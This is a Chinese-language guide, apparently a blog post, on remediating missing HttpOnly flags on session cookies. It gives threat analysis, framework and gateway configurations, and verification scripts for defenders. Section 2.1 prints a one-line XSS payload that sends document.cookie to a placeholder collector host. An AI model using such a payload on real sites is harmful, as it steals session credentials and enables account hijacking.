“会话cookie中缺少HttpOnly属性”——这句话第一次出现在扫描报告里的时候,大多数人的第一反应都是:这玩意儿听着就不严重。它不像注入类问题那样能直接拖库,也不像反序列化那样一眼就是高危,就安安静静躺在中危列表里,每次上线前扫一遍、报一遍,加了吧好像也没见什么变化,不加吧它永远消不掉。
我这些年接手过不少这类扫描报告的清理工作,处理过的站点数量不算少。这条告警属于典型的“看着简单、动手麻筋”:绝大多数情况下改一行配置就能过,但总有那么几个场景,你加上HttpOnly,业务当场就挂了;也有的系统你改完配置重启,扫描器照样报,因为真正下发那条cookie的根本不是你以为的那个地方。
这篇东西我想把这条告警从头到尾捋一遍:它到底在防什么、扫描器的判定逻辑是什么、不同技术栈具体在哪儿改、改完怎么验证、以及我实际踩过的那些坑。不管你是刚接手安全整改的新人,还是要给团队出方案的技术负责人,看完应该都能直接上手干活。
1. 先搞清楚这条告警到底在说什么
1.1 HttpOnly的本质:浏览器层面的一道单向闸门
Cookie这东西,你可以理解成浏览器替服务端保管的一个寄存柜。服务端通过响应头Set-Cookie把东西放进去,浏览器之后每次请求同一个域,会自动把柜子里的东西带上。除了name=value这个主体,Set-Cookie后面还能跟一串属性:Domain、Path、Expires/Max-Age、Secure、HttpOnly、SameSite。这些属性不是给服务端看的,是给浏览器看的指令。
HttpOnly这条指令的含义非常直接:浏览器在解析到它之后,会把这条cookie标记为“脚本不可读”。此后页面里任何JavaScript执行document.cookie,返回的字符串里都不会包含这条cookie的内容。
这里有个特别容易搞混的点,我必须强调一下:不可读不等于不发送。cookie 依然会在符合同源规则的请求里正常带给服务端,登录态、会话保持、业务逻辑统统不受影响。被掐断的只有“JavaScript 主动读取”这一条路径。
设计意图也很明确。假设你的页面被塞进了XSS,攻击者的脚本运行在你的源下面,那它和你的业务代码拥有完全相同的权限。正常情况下它一行document.cookie就能把会话标识捞走,然后塞进自己的工具里冒充你。有了 HttpOnly,这条路在浏览器这一层就被堵住了,不需要你在代码里做任何判断。
打个不太严谨但好理解的比方:cookie 像是你家里保险柜的钥匙,页面里的JS是你随时可能雇进来的钟点工。HttpOnly 相当于给钥匙加了个“只有门锁能碰”的物理限制——钟点工在你家干活的时候照样能开门进出(cookie 正常发送),但他没办法把钥匙复制一份带走。
1.2 扫描器的判定逻辑其实很朴素
知道了原理,再看扫描器为什么报,就很好理解了。它的动作基本是这样的:发一次请求,抓响应头里每一条Set-Cookie,按分号切开检查属性列表,看有没有HttpOnly(大小写不敏感),没有就记一条。
听起来简单,但有几个隐含细节直接决定了你后面排查的方向:
第一,它检查的是这一条响应里下发的每一条cookie。一个页面同时下发五条cookie,四条有HttpOnly、一条没有,照样报。
第二,不同扫描器对“会话cookie”的认定标准不一样。有的对所有cookie一视同仁,有的只对名字里带SESSION、JSESSIONID、PHPSESSID、token、auth、sid这类关键词的报。所以你会遇到“同一个站,A工具报B工具不报”的情况,别慌,不是谁错了,是口径不同。
第三,它看的是响应头原文,不管这条cookie最后有没有被浏览器接受。哪怕你设了Domain指向一个根本不存在的子域、浏览器实际丢弃了它,扫描器照样会报。
这三点解释了为什么经常出现“我明明改主站了,还是报”。可能是某个静态资源域名下的埋点cookie、某个前端SDK自己种的cookie、某个CDN边缘节点注入的cookie没覆盖到;也可能是负载均衡后面挂了三台机器,你只更新了一台。
1.3 为什么这条告警常被当成“低危”而忽略
我见过太多团队的处置方式是:在扫描平台上标记为“误报”或者“接受风险”,理由写一句“本站无XSS”。
这个逻辑不能算全错,但站不住脚,原因有三个。
一是XSS的发现成本远低于修复成本。很多站点存在反射型或者DOM型XSS,只是没人系统地挖过。你不能用“我不知道有”来证明“没有”。
二是第三方引入的风险你控制不了。前端依赖、统计脚本、客服组件、广告位,任何一个环节出的问题,最终都运行在你的源下面。
三是纵深防御的基本假设就是前置防线会失效。安全配置的价值不在于“当前有没有洞”,而在于“洞出现的那一刻,损失能小多少”。HttpOnly 就是这么一个成本极低、收益确定的兜底项——一行配置,几乎没有性能开销,不影响业务逻辑。
但另一面我也得说清楚:HttpOnly 不是万能的。它只降低“凭证被窃取后长期冒用”的风险,挡不住XSS在你页面里直接发请求,也挡不住CSRF。把它当成唯一防线,是另一种形式的偷懒。
2. 风险模型拆解:没有HttpOnly到底能丢什么
2.1 从XSS到会话劫持的完整链路
要理解这条告警的实际危害,最好的办法是把攻击链走一遍。我用一个虚构的场景串起来。
假设某个内部管理后台有一个搜索框,参数直接回显到页面上,没做转义。攻击者构造一个链接,把payload塞进去,然后想办法让一个已经登录的管理员点开。payload 的核心就一行:
new Image().src = 'https://收集端地址/c?d=' + encodeURIComponent(document.cookie);管理员点开链接的瞬间,浏览器执行这段脚本,把他当前域下所有非HttpOnly的cookie拼成字符串,通过一个图片请求发到攻击者控制的服务器。整个过程中页面上没有任何异常表现,管理员大概率毫无察觉。
攻击者拿到JSESSIONID或者类似的会话标识之后,打开自己的浏览器,用开发者工具手工把这条cookie塞进去,然后访问后台。服务端看到的是一个完全合法的会话——因为会话标识本身就是真的、没过期、权限也对。后续所有操作在日志里看起来都是“管理员本人”做的。
这个链条里,HttpOnly 起作用的节点只有一个:第三步。它让document.cookie返回的字符串里少了最关键的那一条,攻击者拿到的只剩一些无关痛痒的偏好设置。链条没有断,但劫持这一步失败了。
2.2 HttpOnly挡不住的三件事
写安全方案最忌讳的就是把某个措施说成银弹。HttpOnly 有三个明确的盲区,必须一起考虑。
盲区一:XSS脚本不需要读cookie也能发请求。攻击者的脚本运行在你的源下,它直接fetch('/api/transfer', {method:'POST', credentials:'include'}),浏览器会自动把cookie带上。这种叫“会话 riding”,不需要知道凭证内容,只需要借用浏览器已经持有的凭证。对付这个,得靠CSRF Token、关键操作二次验证、以及把XSS本身修掉。
盲区二:它和CSRF是两码事。很多人把这两个混为一谈。HttpOnly 防的是“读”,CSRF 防的是“伪造请求”。SameSite属性才是缓解CSRF的主力,Lax基本上能挡掉绝大部分跨站的表单提交和链接触发。
盲区三:传输层的问题它管不着。cookie在明文HTTP上传输,中间任何一个节点都能看到。这需要Secure属性配合全站HTTPS来解决。只加HttpOnly不加Secure,等于给保险柜装了把好锁,但柜子本身放在大马路上。
2.3 是不是所有cookie都要加HttpOnly
答案是否定的,这也是很多“改完就崩”事故的根源。有一条判断标准特别好用:这条cookie的内容,能不能等价于一份凭证?
能,就无条件加。不能,再看前端是否真的需要读它。
| cookie 类型 | 典型例子 | 是否加 HttpOnly | 说明 |
|---|---|---|---|
| 会话标识 | JSESSIONID、PHPSESSID、各类token | 必须加 | 等价于账号密码,泄露即失守 |
| 认证票据 | 记住我、单点登录票据 | 必须加 | 同上,甚至有效期更长更危险 |
| 敏感业务标识 | 用户ID、租户ID、权限标记 | 建议加 | 部分老系统靠它做鉴权,等同于凭证 |
| 前端必读配置 | 主题、语言、字号 | 不加 | 加了前端读不到,功能直接坏 |
| AB实验分组 | 分组ID、灰度标记 | 一般不加 | 前端SDK需要读取后上报 |
| 埋点与统计ID | 设备指纹、访客ID | 视情况 | 泄露危害低,但建议评估后再定 |
| CSRF Token | 双提交模式下的token | 通常不加 | 前端需要读出来放进请求头 |
最后一行需要单独说明。双提交(Double Submit Cookie)这套方案的工作原理,就是让前端JS读出cookie里的token,再把它塞进请求头,服务端比对两者是否一致。你要是给这个cookie加了HttpOnly,前端读不到,整个CSRF防护直接瘫痪。这种场景下正确的做法是:token cookie 不加HttpOnly,但会话cookie必须加,两者分工明确。
3. 修复实操:从网关到框架的完整配置
3.1 三个属性要一起看,别只盯着HttpOnly
只加HttpOnly,扫描器这一条能过,但整体安全水位没实质提升。我一般的做法是三个属性一起配:
HttpOnly:阻断JS读取Secure:只允许在HTTPS连接上传输,防止明文链路泄露SameSite:限制跨站携带,缓解CSRF
SameSite取值上,Lax是绝大多数业务场景的最优解——顶级导航的GET请求会带上cookie,跨站的POST表单和iframe不会。Strict更严,但用户从外部链接点进来时会丢失登录态,体验很差。None只在你确实需要跨站携带时使用,而且必须同时配 Secure,否则浏览器会直接拒收这条cookie。
提示:如果内网还有HTTP访问的需求,直接上 Secure 会导致登录态完全失效。这种情况要么推动全站HTTPS,要么在网关层对内网来源做例外,别一刀切。
3.2 Java 体系:先确认到底是谁在种cookie
Java 这块有个关键事实需要先讲清楚:从 Servlet 3.0 开始,容器生成的 JSESSIONID 默认就是带 HttpOnly 的。Tomcat 7 以后的版本都遵循这个行为。所以如果你的扫描报告里报的是 JSESSIONID,八成不是容器的问题,而是有人在代码里手动覆盖了,或者网关把响应头重写掉了。
先排查代码里有没有这种写法:
// 错误示范:手动 new Cookie 没设 HttpOnly Cookie c = new Cookie("token", value); c.setPath("/"); response.addCookie(c); // 正确写法 Cookie c = new Cookie("token", value); c.setPath("/"); c.setHttpOnly(true); // 关键 c.setSecure(true); response.addCookie(c);Servlet 3.0 之后还可以在web.xml里统一声明:
<session-config> <session-timeout>30</session-timeout> <cookie-config> <http-only>true</http-only> <secure>true</secure> </cookie-config> </session-config>Spring Boot 项目更省事,配置文件里三行搞定:
server.servlet.session.cookie.http-only=true server.servlet.session.cookie.secure=true server.servlet.session.cookie.same-site=lax如果是自己往响应里写cookie,别用HttpServletResponse.addCookie,用ResponseCookie构建器,属性齐全、还能设SameSite:
ResponseCookie cookie = ResponseCookie.from("token", value) .httpOnly(true) .secure(true) .sameSite("Lax") .path("/") .maxAge(Duration.ofMinutes(30)) .build(); response.addHeader(HttpHeaders.SET_COOKIE, cookie.toString());至于SameSite,老版本 Tomcat 的Rfc6265CookieProcessor默认不支持,需要在context.xml里显式声明:
<Context> <CookieProcessor className="org.apache.tomcat.util.http.Rfc6265CookieProcessor" sameSiteCookies="lax" /> </Context>3.3 PHP、Node、Python、.NET 的对应写法
PHP有两层,php.ini全局层和运行时层。全局配置:
session.cookie_httponly = 1 session.cookie_secure = 1 session.cookie_samesite = "Lax"运行时如果要做动态控制,用session_set_cookie_params,注意必须在session_start()之前调用:
session_set_cookie_params([ 'lifetime' => 0, 'path' => '/', 'httponly' => true, 'secure' => true, 'samesite' => 'Lax', ]); session_start();自己调setcookie()的,第七个参数就是httponly,别漏:
setcookie('token', $value, [ 'expires' => 0, 'path' => '/', 'secure' => true, 'httponly' => true, 'samesite' => 'Lax', ]);Node / Express用express-session的,属性全在cookie对象里:
app.use(session({ secret: process.env.SESSION_SECRET, resave: false, saveUninitialized: false, cookie: { httpOnly: true, secure: true, sameSite: 'lax', maxAge: 30 * 60 * 1000 } }));手写res.cookie的记得补选项:
res.cookie('token', value, { httpOnly: true, secure: true, sameSite: 'lax', path: '/' });Python这边,Flask 默认SESSION_COOKIE_HTTPONLY是 True,但要显式确认Secure和SameSite:
app.config.update( SESSION_COOKIE_HTTPONLY=True, SESSION_COOKIE_SECURE=True, SESSION_COOKIE_SAMESITE='Lax', )Django 的情况要特别提醒:SESSION_COOKIE_HTTPONLY默认就是 True,反而是CSRF_COOKIE_HTTPONLY默认 False。前面说过,这个默认值是有道理的——Django 的前端模板需要读csrftoken这个cookie。所以你在Django项目里看到扫描器报CSRF cookie,先别急着改成True,确认一下前端有没有用AJAX拿token的逻辑,改完大概率会403。
.NET项目,web.config里配httpCookies节点:
<system.web> <httpCookies httpOnlyCookies="true" requireSSL="true" /> </system.web>ASP.NET Core 里在Startup或Program中统一配置:
builder.Services.Configure<CookiePolicyOptions>(options => { options.HttpOnly = HttpOnlyPolicy.Always; options.Secure = CookieSecurePolicy.Always; options.MinimumSameSitePolicy = SameSiteMode.Lax; });3.4 网关层兜底:改不动老系统时的最后一招
现实里总有一些系统你动不了:外包交付的、十几年前的、没有源码的。这时候网关层改写是唯一出路。
Nginx 从 1.19.3 开始提供了proxy_cookie_flags指令,专门干这个:
location / { proxy_pass http://backend; proxy_cookie_flags ~ httponly secure samesite=lax; }~表示对后端返回的所有cookie生效,想只针对特定名字可以改成proxy_cookie_flags JSESSIONID httponly secure;这种写法。这个指令最讨喜的地方是幂等——后端已经加过的属性它不会重复添加,你不用担心出现HttpOnly; HttpOnly这种畸形头。
Apache 那边就得小心一点,Header edit是替换语义,条件写不好会重复注入:
Header edit Set-Cookie "(?i)^((?:(?!;\s?httponly).)*)$" "$1;HttpOnly"这个正则的意思是“只有在整条cookie里找不到httponly的时候才追加”。写起来啰嗦,但比直接Header always edit Set-Cookie ^(.*)$ "$1;HttpOnly"安全得多——后者每绕一圈代理就会多叠一个属性。
注意:网关改写属于兜底手段,不是首选。它能解决“有没有”的问题,但没法处理
SameSite=None必须配Secure这种组合约束。能改应用层的,优先改应用层。
3.5 前后端分离与跨域场景的坑
这是我最常被问到的一类场景:前端跑在a.example.com,后端在api.example.com,或者前端本地开发连远程后端。
跨域携带cookie需要几个条件同时满足,缺一个都拿不到:
- 服务端响应头带
Access-Control-Allow-Credentials: true Access-Control-Allow-Origin必须是具体域名,不能是*- 前端请求设置
withCredentials = true(fetch 用credentials: 'include') - cookie 的
SameSite不能是Lax或Strict,必须是None,且必须同时带Secure
第4条是最容易翻车的。很多人在本地开发时全站HTTP,配SameSite=None之后浏览器直接拒收cookie,然后开始怀疑人生。解决办法是本地也起HTTPS(自签证书即可),或者干脆在开发环境用代理把前后端收敛到同一个源,绕开跨域。
另外,Domain属性也要对上。后端在api.example.com种cookie时,如果Domain不写,默认就是api.example.com,前端页面在a.example.com读不到也带不上。需要显式设成.example.com。
4. 上线前后怎么验证,别只信扫描器
4.1 三条命令搞定手工验证
扫描器过了不等于真配对了。我每次改完都会走这三步。
第一步,看响应头原文:
curl -i -s https://目标域名/登录接口 \ -d "username=test&password=test" | grep -i "set-cookie"输出里要能看到HttpOnly、Secure、SameSite=Lax三个标志齐全。注意Secure只会在HTTPS响应里出现,如果你在HTTP下测,看不到是正常的。
第二步,浏览器开发者工具。F12 打开 Application(或存储)面板,左侧选 Cookies,看对应域名下的列表,HttpOnly那一列应该有勾。这个视图是最直观的,能一眼看出哪条漏了。
第三步,Console 里直接执行:
document.cookie返回值里不应该出现会话cookie的名字。如果出现了,说明要么配置没生效,要么你看到的是另一条同名的、没加属性的cookie。
4.2 写个脚本做批量回归
站点多了手工点不现实。我常用的一个思路是用 Python 把关键接口跑一遍,逐条断言:
import requests TARGETS = [ "https://a.example.com/login", "https://b.example.com/api/session", ] def check(url): try: resp = requests.get(url, timeout=10, verify=True) except Exception as e: return url, f"请求失败: {e}" problems = [] for raw in resp.raw.headers.getlist("Set-Cookie"): name = raw.split("=")[0].strip() lower = raw.lower() if "httponly" not in lower: problems.append(f"{name} 缺少 HttpOnly") if "secure" not in lower: problems.append(f"{name} 缺少 Secure") if "samesite" not in lower: problems.append(f"{name} 缺少 SameSite") return url, problems or "OK" for t in TARGETS: print(check(t))这个脚本我一般挂在发布流水线的最后一步,输出非OK就让构建失败。实践下来比等扫描器跑一轮快得多,而且能立刻定位到是哪条cookie出的问题。
4.3 灰度与回滚
改cookie属性这种事,理论上零影响,实际上翻车案例不少。我现在的标准流程是:
先在预发环境改,把登录、登出、记住我、第三方登录回调、文件上传这几个链路全走一遍。然后灰度一台生产机器,观察半小时的错误日志和前端监控里的401/403比例。没问题再全量。
回滚方案要提前想好——如果是配置文件改的,保留旧文件随时切回;如果是网关层改的,把那条proxy_cookie_flags注释掉 reload 就行。千万别在全量发布的时候才想起来没准备退路。
还有一个监控项值得加:统计响应头里Set-Cookie缺少HttpOnly的比例。这个指标平时应该是0,一旦抬头,说明有新代码或者新组件绕过了规范,能第一时间发现。
5. 踩坑实录与常见问题速查
5.1 加了HttpOnly前端登录态直接丢了
这是最高频的事故,没有之一。现象是:登录接口返回成功,但后续请求全是401,前端拿不到用户信息。
原因几乎都是同一个——前端代码里有读cookie的逻辑。常见形态包括:从cookie里取token塞进Authorization头、从cookie里读用户ID做本地判断、从cookie里读权限标记控制菜单显示。
排查方法很简单,全局搜一遍前端代码里的document.cookie、Cookies.get(、js-cookie这类关键字,看看读了哪些key。
处理方式分两种。如果读的是真正的会话凭证,说明这套架构本身有问题(凭证不该暴露给JS),正确做法是改成后端在登录响应体里返回一个短期token,前端存内存,别放cookie。如果读的是非敏感的展示用数据,那就把它拆成独立的cookie,那条不加HttpOnly,会话cookie单独加,两者分开管。
5.2 改了配置,扫描器还是报
我整理了一张排查表,按出现频率排序:
| 现象 | 可能原因 | 排查动作 |
|---|---|---|
| 只有部分接口报 | 某些接口由不同服务下发cookie | 对比报和不报的接口,看响应头里的Server字段 |
| 重启后仍报 | 配置改在了错误的配置文件 | 确认加载的是哪个profile、哪个环境变量 |
| 全站都报 | 网关/SLB插入的会话保持cookie | 抓包看响应头里有没有非应用下发的cookie |
| 首页报、内页不报 | 静态资源域名下有独立cookie | 单独测静态域名 |
| 改了应用还是报 | CDN边缘节点缓存了旧响应 | 刷新CDN缓存,检查回源配置 |
| 只有登录接口报 | 登录逻辑里手写了setCookie | 搜代码里的Cookie相关调用 |
其中“网关插入cookie”这条最隐蔽。很多负载均衡设备为了做会话保持,会往响应里塞一条自己的cookie,这条cookie完全不受你的应用配置控制,得去设备的管理界面里找对应开关。
5.3 几个容易被忽略的细节
cookie前缀能白捡一层防护。现代浏览器支持__Host-和__Secure-两个前缀。名字以__Host-开头的cookie,浏览器强制要求必须带Secure、必须Path=/、必须不带Domain。这等于让浏览器帮你做配置校验,写错了直接被拒,比人肉review靠谱。迁移的时候注意,改名字等于换了一个cookie,存量用户的登录态会失效一次,得挑低峰期做。
Max-Age 设太长等于放大风险。会话凭证类cookie我一般建议不设Max-Age(浏览器关闭即失效),或者配合服务端的会话超时设成30分钟到2小时。见过不少系统给会话cookie设了7天有效期,这意味着一旦凭证泄露,攻击窗口就是7天。HttpOnly 能降低泄露概率,但降低不了泄露后的影响面,有效期才是控制影响面的直接手段。
别忘了清理历史cookie。有一种情况特别坑:你改了cookie的名字或者Path,旧的那条还躺在用户浏览器里,直到过期为止。这段时间内扫描器可能会扫到旧cookie相关的报错,用户也可能因为新旧两条cookie同时存在出现诡异行为。上线时最好加一段清理逻辑,把旧名字的cookie用Max-Age=0主动删掉。
内网系统不是免死金牌。我见过太多“这是内网,不用管”的回复。内网横向移动是真实存在的攻击路径,一台终端的失陷就可能让攻击者接触到内网后台。而且内网系统往往权限更大、审计更弱,一旦被打穿,影响面比外网还严重。这条告警在内网系统上同样值得处理。
最后分享一个我自己一直在用的小习惯:把HttpOnly、Secure、SameSite这三项写进团队的代码规范检查清单,配合一个简单的lint规则或者CI脚本,新项目从第一天就不会欠这笔账。安全整改最怕的就是“历史遗留”,与其每次上线前被扫描器追着跑,不如让新代码压根不产生这个问题。这个习惯坚持下来,后面再遇到“会话cookie中缺少HttpOnly属性”这条告警,你基本可以做到看一眼就知道去哪儿改、改完怎么验,十分钟收工。